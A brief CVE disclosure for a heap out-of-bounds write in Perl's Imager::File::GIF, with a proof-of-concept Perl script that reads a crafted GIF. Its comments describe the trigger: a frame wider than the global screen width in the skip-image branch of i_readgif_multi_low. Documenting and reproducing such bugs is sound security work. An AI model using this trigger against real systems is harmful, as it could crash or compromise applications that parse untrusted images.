CVE-2026-8454: Imager::File::GIF 堆越界写入漏洞

#!/usr/bin/perl use strict; use warnings; use Imager; # PoC for CVE-2026-8454 # This script demonstrates how to trigger the vulnerability by reading a crafted GIF. # You need to replace 'crafted_exploit.gif' with a file that has a frame width > global screen width. my $filename = 'crafted_exploit.gif'; # Check if file exists unless (-e $filename) { print "Please create a crafted GIF file named $filename first.\n"; print "The file should have a multi-frame structure where one frame's width exceeds the global screen width.\n"; exit(1); } my $img = Imager->new(); # Trigger the vulnerable read function # The bug occurs in i_readgif_multi_low when processing the skip-image branch my $read_result = $img->read(file => $filename); if ($read_result) { print "Image loaded successfully (Vulnerability may not have been triggered or was handled).\n"; } else { print "Failed to load image: " . $img->errstr . "\n"; print "This might indicate a crash due to the Heap OOB write.\n"; }